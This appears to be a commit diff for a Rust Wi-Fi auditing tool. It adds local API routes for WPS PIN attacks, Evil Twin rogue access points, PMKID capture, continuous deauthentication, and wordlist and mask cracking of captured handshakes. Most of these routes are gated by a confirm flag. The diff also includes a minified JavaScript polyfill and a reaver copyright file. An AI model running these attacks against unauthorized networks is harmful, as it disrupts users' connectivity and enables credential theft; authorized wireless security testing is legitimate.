!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).PagedPolyfill=t()}(this,(function(){"use strict";function e(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var t,n,r={exports:{}},a={exports:{}};var i,o,s,l,d=function(){},p=d(),c=function(e){return e!==p&&null!==e};function u(){return l||(l=1,s=(n?t:(n=1,t=function(){try{return Object.keys("primitive"),!0}catch(e){return!1}}))()?Object.keys:function(){if(o)return i;o=1;var e=c,t=Object.keys;return i=function(n){return t(e(n)?Object(n):n)}}()),s}var m,h,g=c,f=function(e){if(!g(e))throw new TypeError("Cannot use null or undefined");return e};var y,b,S=function(){var e,t=Object.assign;return"function"==typeof t&&(t(e={foo:"raz"},{bar:"dwa"},{trzy:"trzy"}),e.foo+e.bar+e.trzy==="razdwatrzy")}()?Object.assign:function(){if(h)return m;h=1;var e=u(),t=f,n=Math.max;return m=function(r,a){var i,o,s,l=n(arguments.length,2);for(r=Object(t(r)),s=function(e){try{r[e]=a[e]}catch(e){i||(i=e)}},o=1;o<l;++o)e(a=arguments[o]).forEach(s);if(void 0!==i)throw i;return r},m}(),v=c,x=Array.prototype.forEach,k=Object.create,w="razdwatrzy";var C,T="function"==typeof w.contains&&!0===w.contains("dwa")&&!1===w.contains("foo")?String.prototype.contains:function(){if(b)return y;b=1;var e=String.prototype.indexOf;return y=function(t){return e.call(this,t,arguments[1])>-1},y}(),_=S,z=function(e){var t=k(null);return x.call(arguments,(function(e){v(e)&&function(e,t){var n;for(n in e)t[n]=e[n]}(Object(e),t)})),t},O=function(e){return"function"==typeof e},A=T;C=a.exports=function(e,t){var n,r,a,i,o;return arguments.length<2||"string"!=typeof e?(i=t,t=e,e=null):i=arguments[2],null==e?(n=a=!0,r=!1):(n=A.call(e,"c"),r=A.call(e,"e"),a=A.call(e,"w")),o={value:t,configurable:n,enumerable:r,writable:a},i?_(z(i),o):o},C.gs=function(e,t,n){var r,a,i,o;return"string"!=typeof e?(i=n,n=t,t=e,e=null):i=arguments[3],null==t?t=void 0:O(t)?null==n?n=void 0:O(n)||(i=n,n=void 0):(i=t,t=n=void 0),null==e?(r=!0,a=!1):(r=A.call(e,"c"),a=A.call(e,"e")),o={get:t,set:n,configurable:r,enumerable:a},i?_(z(i),o):o};var E=a.exports,j=function(e){if("function"!=typeof e)throw new TypeError(e+" is not a function");return e};!function(e,t){var n,r,a,i,o,s,l,d=E,p=j,c=Function.prototype.apply,u=Function.prototype.call,m=Object.create,h=Object.defineProperty,g=Object.defineProperties,f=Object.prototype.hasOwnProperty,y={configurable:!0,enumerable:!1,writable:!0};n=function(e,t){var n;return p(t),f.call(this,"__ee__")?n=this.__ee__:(n=y.value=m(null),h(this,"__ee__",y),y.value=null),n[e]?"object"==typeof n[e]?n[e].push(t):n[e]=[n[e],t]:n[e]=t,this},r=function(e,t){var r,i;return p(t),i=this,n.call(this,e,r=function(){a.call(i,e,r),c.call(t,this,arguments)}),r.__eeOnceListener__=t,this},a=function(e,t){var n,r,a,i;if(p(t),!f.call(this,"__ee__"))return this;if(!(n=this.__ee__)[e])return this;if("object"==typeof(r=n[e]))for(i=0;a=r[i];++i)a!==t&&a.__eeOnceListener__!==t||(2===r.length?n[e]=r[i?0:1]:r.splice(i,1));else r!==t&&r.__eeOnceListener__!==t||delete n[e];return this},i=function(e){var t,n,r,a,i;if(f.call(this,"__ee__")&&(a=this.__ee__[e]))if("object"==typeof a){for(n=arguments.length,i=new Array(n-1),t=1;t<n;++t)i[t-1]=arguments[t];for(a=a.slice(),t=0;r=a[t];++t)c.call(r,this,i)}else switch(arguments.length){case 1:u.call(a,this);break;case 2:u.call(a,this,arguments[1]);break;case 3:u.call(a,this,arguments[1],arguments[2]);break;default:for(n=arguments.length,i=new Array(n-1),t=1;t<n;++t)i[t-1]=arguments[t];c.call(a,this,i)}},o={on:n,once:r,off:a,emit:i},s={on:d(n),once:d(r),off:d(a),emit:d(i)},l=g({},s),e.exports=t=function(e){return null==e?m(l):g(Object(e),s)},t.methods=o}(r,r.exports);var W=r.exports,L=e(W);class B{constructor(e){this.context=e||this,this.hooks=[]}register(){for(var e=0;e<arguments.length;++e)if("function"==typeof arguments[e])this.hooks.push(arguments[e]);else for(var t=0;t<arguments[e].length;++t)this.hooks.push(arguments[e][t])}trigger(){var e=arguments,t=this.context,n=[];return this.hooks.forEach((function(r){var a=r.apply(t,e);a&&"function"==typeof a.then?n.push(a):n.push(new Promise(((e,t)=>{e(a)})))})),Promise.all(n)}triggerSync(){var e=arguments,t=this.context,n=[];return this.hooks.forEach((function(r){var a=r.apply(t,e);n.push(a)})),n}list(){return this.hooks}clear(){return this.hooks=[]}}function P(e){if(!e)return;let t;if(void 0!==e.getBoundingClientRect)t=e.getBoundingClientRect();else{let n=document.createRange();n.selectNode(e),t=n.getBoundingClientRect()}return t}function q(e){if(!e)return;let t;if(void 0!==e.getClientRects)t=e.getClientRects();else{let n=document.createRange();n.selectNode(e),t=n.getClientRects()}return t}function M(){var e=(new Date).getTime();return"undefined"!=typeof performance&&"function"==typeof performance.now&&(e+=performance.now()),"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replaceLine truncated
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||||
|
Upstream-Name: reaver-wps-fork-t6x
|
||||||
|
Source: https://github.com/t6x/reaver-wps-fork-t6x
|
||||||
|
|
||||||
|
Files: *
|
||||||
|
Copyright: 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
Files: src/common/*
|
||||||
|
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
Files: src/crypto/*
|
||||||
|
Copyright: 2002-2010, Jouni Malinen <j@w1.fi> and contributors
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
Files: src/tls/*
|
||||||
|
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
Files: src/tls/libtommath.c
|
||||||
|
Copyright: Tom St Denis
|
||||||
|
License: public-domain
|
||||||
|
|
||||||
|
Files: src/utils/*
|
||||||
|
Copyright: 2002-2010, Jouni Malinen <j@w1.fi>
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
Files: src/utils/radiotap.h
|
||||||
|
Copyright: 2003-2004 David Young
|
||||||
|
License: BSD-3-clause
|
||||||
|
|
||||||
|
Files: src/wps/*
|
||||||
|
Copyright: 2007-2009, Jouni Malinen <j@w1.fi>
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
Files: src/wps/wps_ufd.c
|
||||||
|
Copyright: 2009, Masashi Honma <honma@ictec.co.jp>
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
Files: src/lwe/*
|
||||||
|
Copyright: 1997-2007, Jean Tourrilhes <jt@hpl.hp.com>
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
Files: debian/*
|
||||||
|
Copyright: 2011-2018 Bartosz Fenski <fenio@debian.org>
|
||||||
|
2023 Leandro Cunha <leandrocunha016@gmail.com>
|
||||||
|
License: GPL-2
|
||||||
|
|
||||||
|
License: GPL-2
|
||||||
|
This package is free software; you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation; either version 2 of the License.
|
||||||
|
.
|
||||||
|
This package is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
.
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this package; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
.
|
||||||
|
On Debian systems, the complete text of the GNU General
|
||||||
|
Public License can be found in `/usr/share/common-licenses/GPL-2'.
|
||||||
|
|
||||||
|
License: BSD-3-clause
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are met:
|
||||||
|
.
|
||||||
|
1. Redistributions of source code must retain the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer.
|
||||||
|
.
|
||||||
|
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
.
|
||||||
|
3. Neither the name of the ORGANIZATION nor the names of its contributors
|
||||||
|
may be used to endorse or promote products derived from this software
|
||||||
|
without specific prior written permission.
|
||||||
|
.
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||||
|
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||||
|
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||||
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||||
|
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||||
|
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
License: public-domain
|
||||||
|
The files tagged with this license contains the following paragraphs:
|
||||||
|
.
|
||||||
|
No copyright is claimed. This code is in the public domain; do with
|
||||||
|
it what you wish.
|
||||||
|
.
|
||||||
|
Written by Karel Zak <kzak@redhat.com>
|
||||||
Executable
BIN
Binary file not shown.
@@ -72,6 +72,10 @@ enum Cmd {
|
|||||||
bssid: Option<String>,
|
bssid: Option<String>,
|
||||||
#[arg(long)]
|
#[arg(long)]
|
||||||
station: Option<String>,
|
station: Option<String>,
|
||||||
|
/// Aplica mutações comuns a cada palavra (maiúscula, sufixos
|
||||||
|
/// numéricos, leet simples) — multiplica o tempo de verdade.
|
||||||
|
#[arg(long)]
|
||||||
|
rules: bool,
|
||||||
#[arg(long)]
|
#[arg(long)]
|
||||||
json: bool,
|
json: bool,
|
||||||
},
|
},
|
||||||
@@ -275,6 +279,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> {
|
|||||||
wordlist,
|
wordlist,
|
||||||
bssid,
|
bssid,
|
||||||
station,
|
station,
|
||||||
|
rules,
|
||||||
json,
|
json,
|
||||||
} => {
|
} => {
|
||||||
let mut last = 0u64;
|
let mut last = 0u64;
|
||||||
@@ -283,6 +288,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> {
|
|||||||
&wordlist,
|
&wordlist,
|
||||||
bssid.as_deref(),
|
bssid.as_deref(),
|
||||||
station.as_deref(),
|
station.as_deref(),
|
||||||
|
rules,
|
||||||
|tried| {
|
|tried| {
|
||||||
if tried.saturating_sub(last) >= 4096 {
|
if tried.saturating_sub(last) >= 4096 {
|
||||||
eprint!("\r{tried} senhas testadas…");
|
eprint!("\r{tried} senhas testadas…");
|
||||||
@@ -412,7 +418,7 @@ fn crack_first(engine: &Engine, iface: &str, wordlist: &PathBuf) -> sabia_core::
|
|||||||
hs.bssid,
|
hs.bssid,
|
||||||
wordlist.display()
|
wordlist.display()
|
||||||
);
|
);
|
||||||
let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist)?;
|
let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist, false)?;
|
||||||
loop {
|
loop {
|
||||||
let job = engine.crack_job(&id).expect("job");
|
let job = engine.crack_job(&id).expect("job");
|
||||||
if job.status == "running" {
|
if job.status == "running" {
|
||||||
|
|||||||
@@ -15,13 +15,29 @@ use std::time::{SystemTime, UNIX_EPOCH};
|
|||||||
const INDEX_HTML: &str = include_str!("../../../../apps/gui/ui/index.html");
|
const INDEX_HTML: &str = include_str!("../../../../apps/gui/ui/index.html");
|
||||||
const APP_CSS: &str = include_str!("../../../../apps/gui/ui/app.css");
|
const APP_CSS: &str = include_str!("../../../../apps/gui/ui/app.css");
|
||||||
const APP_JS: &str = include_str!("../../../../apps/gui/ui/app.js");
|
const APP_JS: &str = include_str!("../../../../apps/gui/ui/app.js");
|
||||||
|
const I18N_JS: &str = include_str!("../../../../apps/gui/ui/i18n.js");
|
||||||
|
const I18N_EN_JS: &str = include_str!("../../../../apps/gui/ui/i18n-en.js");
|
||||||
const LOGO_PNG: &[u8] = include_bytes!("../../../../apps/gui/ui/sabia.png");
|
const LOGO_PNG: &[u8] = include_bytes!("../../../../apps/gui/ui/sabia.png");
|
||||||
|
const PAGED_JS: &str = include_str!("../../../../apps/gui/ui/paged.polyfill.min.js");
|
||||||
|
|
||||||
pub fn serve(port: u16, audit_path: std::path::PathBuf, open: bool) -> sabia_core::Result<()> {
|
pub fn serve(port: u16, audit_path: std::path::PathBuf, open: bool) -> sabia_core::Result<()> {
|
||||||
let token = gen_token();
|
let token = gen_token();
|
||||||
let listener = TcpListener::bind(("127.0.0.1", port))?;
|
let listener = TcpListener::bind(("127.0.0.1", port))?;
|
||||||
let engine = Arc::new(Engine::with_audit_path(audit_path));
|
let engine = Arc::new(Engine::with_audit_path(audit_path));
|
||||||
|
|
||||||
|
// Sem isso, Ctrl+C (ou um `kill` normal) durante um Evil Twin ativo
|
||||||
|
// mata o processo sem rodar a limpeza: hostapd/dnsmasq ficam órfãos
|
||||||
|
// e as duas interfaces ficam presas em `managed no` pro
|
||||||
|
// NetworkManager — o painel de Wi-Fi do sistema some por completo até
|
||||||
|
// o próximo início do engine se auto-curar.
|
||||||
|
{
|
||||||
|
let engine = engine.clone();
|
||||||
|
let _ = ctrlc::set_handler(move || {
|
||||||
|
engine.shutdown_cleanup();
|
||||||
|
std::process::exit(0);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
println!("Sabiá UI em http://127.0.0.1:{port}/?token={token}");
|
println!("Sabiá UI em http://127.0.0.1:{port}/?token={token}");
|
||||||
if open {
|
if open {
|
||||||
let _ = open_browser(&format!("http://127.0.0.1:{port}/?token={token}"));
|
let _ = open_browser(&format!("http://127.0.0.1:{port}/?token={token}"));
|
||||||
@@ -225,7 +241,48 @@ fn handle(
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if req.path == "/api/report.html" {
|
||||||
|
if req.token.as_deref() != Some(expected_token) {
|
||||||
|
return respond(&mut stream, 401, "text/plain", b"token invalido");
|
||||||
|
}
|
||||||
|
let Some(iface) = req.text("iface") else {
|
||||||
|
return respond(&mut stream, 400, "text/plain", b"iface obrigatoria");
|
||||||
|
};
|
||||||
|
return match engine.report(&iface) {
|
||||||
|
Ok(model) => {
|
||||||
|
let download = req.bool("download");
|
||||||
|
let mut html = sabia_core::report::render(
|
||||||
|
&model,
|
||||||
|
sabia_core::report::ReportOptions {
|
||||||
|
inline_pagedjs: download,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
if download {
|
||||||
|
html = html.replace(
|
||||||
|
"<!--SABIA_PAGEDJS-->",
|
||||||
|
&format!("<script>{PAGED_JS}</script>"),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
respond(
|
||||||
|
&mut stream,
|
||||||
|
200,
|
||||||
|
"text/html; charset=utf-8",
|
||||||
|
html.as_bytes(),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
Err(e) => respond(&mut stream, 400, "text/plain", e.to_string().as_bytes()),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
match req.path.as_str() {
|
match req.path.as_str() {
|
||||||
|
"/paged.polyfill.min.js" => {
|
||||||
|
return respond(
|
||||||
|
&mut stream,
|
||||||
|
200,
|
||||||
|
"application/javascript",
|
||||||
|
PAGED_JS.as_bytes(),
|
||||||
|
)
|
||||||
|
}
|
||||||
"/app.css" => return respond(&mut stream, 200, "text/css", APP_CSS.as_bytes()),
|
"/app.css" => return respond(&mut stream, 200, "text/css", APP_CSS.as_bytes()),
|
||||||
"/app.js" => {
|
"/app.js" => {
|
||||||
return respond(
|
return respond(
|
||||||
@@ -235,6 +292,22 @@ fn handle(
|
|||||||
APP_JS.as_bytes(),
|
APP_JS.as_bytes(),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
"/i18n.js" => {
|
||||||
|
return respond(
|
||||||
|
&mut stream,
|
||||||
|
200,
|
||||||
|
"application/javascript",
|
||||||
|
I18N_JS.as_bytes(),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
"/i18n-en.js" => {
|
||||||
|
return respond(
|
||||||
|
&mut stream,
|
||||||
|
200,
|
||||||
|
"application/javascript",
|
||||||
|
I18N_EN_JS.as_bytes(),
|
||||||
|
)
|
||||||
|
}
|
||||||
"/sabia.png" => return respond(&mut stream, 200, "image/png", LOGO_PNG),
|
"/sabia.png" => return respond(&mut stream, 200, "image/png", LOGO_PNG),
|
||||||
_ => {}
|
_ => {}
|
||||||
}
|
}
|
||||||
@@ -408,13 +481,210 @@ fn api(engine: &Arc<Engine>, req: &Request) -> (u16, String) {
|
|||||||
Err(e) => err(400, e),
|
Err(e) => err(400, e),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
("POST", "/api/handshakes/export-hc22000") => {
|
||||||
|
let (Some(iface), Some(bssid), Some(station), Some(out)) = (
|
||||||
|
req.text("iface"),
|
||||||
|
req.text("bssid"),
|
||||||
|
req.text("station"),
|
||||||
|
req.text("out"),
|
||||||
|
) else {
|
||||||
|
return err(400, "iface, bssid, station e out são obrigatórios");
|
||||||
|
};
|
||||||
|
match engine.export_hc22000(&iface, &bssid, &station, &out) {
|
||||||
|
Ok(report) => ok(&report),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("POST", "/api/handshakes/export-all-hc22000") => {
|
||||||
|
let (Some(iface), Some(out)) = (req.text("iface"), req.text("out")) else {
|
||||||
|
return err(400, "iface e out são obrigatórios");
|
||||||
|
};
|
||||||
|
match engine.export_all_hc22000(&iface, &out) {
|
||||||
|
Ok(report) => ok(&report),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/report") => {
|
||||||
|
let Some(iface) = req.text("iface") else {
|
||||||
|
return err(400, "iface obrigatória");
|
||||||
|
};
|
||||||
|
match engine.report(&iface) {
|
||||||
|
Ok(model) => ok(&model),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/wps/tools") => ok(&engine.wps_tools()),
|
||||||
|
("POST", "/api/wps") => {
|
||||||
|
if !req.bool("confirm") {
|
||||||
|
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||||
|
}
|
||||||
|
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
|
||||||
|
return err(400, "iface e bssid são obrigatórios");
|
||||||
|
};
|
||||||
|
let tool = req.text("tool").unwrap_or_else(|| "reaver".into());
|
||||||
|
let channel = req.u32("channel").unwrap_or(0);
|
||||||
|
let pin = req.text("pin");
|
||||||
|
match engine.start_wps(&iface, &bssid, channel, &tool, pin.as_deref()) {
|
||||||
|
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/wps") => {
|
||||||
|
let Some(id) = req.text("id") else {
|
||||||
|
return err(400, "id obrigatório");
|
||||||
|
};
|
||||||
|
match engine.wps_job(&id) {
|
||||||
|
Some(job) => ok(&job),
|
||||||
|
None => err(404, "job não encontrado"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/wps/jobs") => ok(&engine.wps_jobs()),
|
||||||
|
("POST", "/api/wps/stop") => {
|
||||||
|
let Some(id) = req.text("id") else {
|
||||||
|
return err(400, "id obrigatório");
|
||||||
|
};
|
||||||
|
match engine.stop_wps(&id) {
|
||||||
|
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("POST", "/api/eviltwin") => {
|
||||||
|
if !req.bool("confirm") {
|
||||||
|
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||||
|
}
|
||||||
|
let (Some(iface), Some(ap_iface), Some(bssid)) =
|
||||||
|
(req.text("iface"), req.text("ap_iface"), req.text("bssid"))
|
||||||
|
else {
|
||||||
|
return err(400, "iface, ap_iface e bssid são obrigatórios");
|
||||||
|
};
|
||||||
|
let portal_port = req.u16("portal_port").unwrap_or(8080);
|
||||||
|
let deauth = req.bool("deauth");
|
||||||
|
match engine.start_evil_twin(&iface, &ap_iface, &bssid, portal_port, deauth) {
|
||||||
|
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/eviltwin") => {
|
||||||
|
let Some(id) = req.text("id") else {
|
||||||
|
return err(400, "id obrigatório");
|
||||||
|
};
|
||||||
|
match engine.eviltwin_job(&id) {
|
||||||
|
Some(job) => ok(&job),
|
||||||
|
None => err(404, "job não encontrado"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/eviltwins") => ok(&engine.eviltwin_jobs()),
|
||||||
|
("POST", "/api/eviltwin/stop") => {
|
||||||
|
let Some(id) = req.text("id") else {
|
||||||
|
return err(400, "id obrigatório");
|
||||||
|
};
|
||||||
|
match engine.stop_evil_twin(&id) {
|
||||||
|
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("POST", "/api/eviltwin-enterprise") => {
|
||||||
|
if !req.bool("confirm") {
|
||||||
|
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||||
|
}
|
||||||
|
let (Some(iface), Some(ap_iface), Some(bssid)) =
|
||||||
|
(req.text("iface"), req.text("ap_iface"), req.text("bssid"))
|
||||||
|
else {
|
||||||
|
return err(400, "iface, ap_iface e bssid são obrigatórios");
|
||||||
|
};
|
||||||
|
match engine.start_evil_twin_enterprise(&iface, &ap_iface, &bssid) {
|
||||||
|
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/eviltwin-enterprise") => {
|
||||||
|
let Some(id) = req.text("id") else {
|
||||||
|
return err(400, "id obrigatório");
|
||||||
|
};
|
||||||
|
match engine.enterprise_twin_job(&id) {
|
||||||
|
Some(job) => ok(&job),
|
||||||
|
None => err(404, "job não encontrado"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/eviltwins-enterprise") => ok(&engine.enterprise_twin_jobs()),
|
||||||
|
("POST", "/api/eviltwin-enterprise/stop") => {
|
||||||
|
let Some(id) = req.text("id") else {
|
||||||
|
return err(400, "id obrigatório");
|
||||||
|
};
|
||||||
|
match engine.stop_evil_twin_enterprise(&id) {
|
||||||
|
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("POST", "/api/pmkid") => {
|
||||||
|
if !req.bool("confirm") {
|
||||||
|
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||||
|
}
|
||||||
|
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
|
||||||
|
return err(400, "iface e bssid são obrigatórios");
|
||||||
|
};
|
||||||
|
let attempts = req.u32("attempts").unwrap_or(5);
|
||||||
|
match engine.pmkid_hunt(&iface, &bssid, attempts) {
|
||||||
|
Ok(report) => ok(&report),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("POST", "/api/pmf") => {
|
||||||
|
if !req.bool("confirm") {
|
||||||
|
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||||
|
}
|
||||||
|
let (Some(iface), Some(bssid), Some(station)) =
|
||||||
|
(req.text("iface"), req.text("bssid"), req.text("station"))
|
||||||
|
else {
|
||||||
|
return err(400, "iface, bssid e station são obrigatórios");
|
||||||
|
};
|
||||||
|
let reason = req.u16("reason").unwrap_or(7);
|
||||||
|
match engine.pmf_test(&iface, &bssid, &station, reason) {
|
||||||
|
Ok(report) => ok(&report),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
("POST", "/api/crack") => {
|
("POST", "/api/crack") => {
|
||||||
let (Some(iface), Some(wordlist)) = (req.text("iface"), req.text("wordlist")) else {
|
let Some(iface) = req.text("iface") else {
|
||||||
return err(400, "iface e wordlist são obrigatórios");
|
return err(400, "iface é obrigatória");
|
||||||
};
|
};
|
||||||
let bssid = req.text("bssid");
|
let bssid = req.text("bssid");
|
||||||
let station = req.text("station");
|
let station = req.text("station");
|
||||||
match engine.start_crack(&iface, bssid.as_deref(), station.as_deref(), &wordlist) {
|
let rules = req.bool("rules");
|
||||||
|
let result = match req.text("wordlist") {
|
||||||
|
Some(wordlist) if !wordlist.trim().is_empty() => engine.start_crack(
|
||||||
|
&iface,
|
||||||
|
bssid.as_deref(),
|
||||||
|
station.as_deref(),
|
||||||
|
&wordlist,
|
||||||
|
rules,
|
||||||
|
),
|
||||||
|
_ => {
|
||||||
|
engine.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules)
|
||||||
|
}
|
||||||
|
};
|
||||||
|
match result {
|
||||||
|
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("POST", "/api/crack/mask") => {
|
||||||
|
let Some(iface) = req.text("iface") else {
|
||||||
|
return err(400, "iface é obrigatória");
|
||||||
|
};
|
||||||
|
let Some(mask) = req.text("mask").filter(|m| !m.trim().is_empty()) else {
|
||||||
|
return err(400, "máscara é obrigatória");
|
||||||
|
};
|
||||||
|
let bssid = req.text("bssid");
|
||||||
|
let station = req.text("station");
|
||||||
|
let max_candidates = req.u64("max_candidates").unwrap_or(50_000_000);
|
||||||
|
match engine.start_crack_mask(
|
||||||
|
&iface,
|
||||||
|
bssid.as_deref(),
|
||||||
|
station.as_deref(),
|
||||||
|
&mask,
|
||||||
|
max_candidates,
|
||||||
|
) {
|
||||||
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||||
Err(e) => err(400, e),
|
Err(e) => err(400, e),
|
||||||
}
|
}
|
||||||
@@ -441,17 +711,94 @@ fn api(engine: &Arc<Engine>, req: &Request) -> (u16, String) {
|
|||||||
};
|
};
|
||||||
let count = req.u32("count").unwrap_or(5);
|
let count = req.u32("count").unwrap_or(5);
|
||||||
let reason = req.u16("reason").unwrap_or(7);
|
let reason = req.u16("reason").unwrap_or(7);
|
||||||
match engine.deauth(
|
let direction = req.text("direction").unwrap_or_else(|| "ap".into());
|
||||||
|
let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into());
|
||||||
|
match engine.deauth_directional(
|
||||||
&iface,
|
&iface,
|
||||||
&bssid,
|
&bssid,
|
||||||
req.text("station").as_deref(),
|
req.text("station").as_deref(),
|
||||||
count,
|
count,
|
||||||
reason,
|
reason,
|
||||||
|
&direction,
|
||||||
|
&frame_kind,
|
||||||
) {
|
) {
|
||||||
Ok(report) => ok(&report),
|
Ok(report) => ok(&report),
|
||||||
Err(e) => err(400, e),
|
Err(e) => err(400, e),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
("POST", "/api/deauth/start") => {
|
||||||
|
if !req.bool("confirm") {
|
||||||
|
return err(
|
||||||
|
400,
|
||||||
|
"confirme a autorização do teste (confirm=true) antes de desautenticar",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
|
||||||
|
return err(400, "iface e bssid são obrigatórios");
|
||||||
|
};
|
||||||
|
let reason = req.u16("reason").unwrap_or(7);
|
||||||
|
let direction = req.text("direction").unwrap_or_else(|| "both".into());
|
||||||
|
let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into());
|
||||||
|
let interval_ms = req.u64("interval_ms").unwrap_or(120);
|
||||||
|
let max_secs = req.u64("max_secs");
|
||||||
|
let stop_on_handshake = req.bool("stop_on_handshake");
|
||||||
|
match engine.start_deauth_job(
|
||||||
|
&iface,
|
||||||
|
&bssid,
|
||||||
|
req.text("station").as_deref(),
|
||||||
|
reason,
|
||||||
|
&direction,
|
||||||
|
&frame_kind,
|
||||||
|
interval_ms,
|
||||||
|
max_secs,
|
||||||
|
stop_on_handshake,
|
||||||
|
) {
|
||||||
|
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
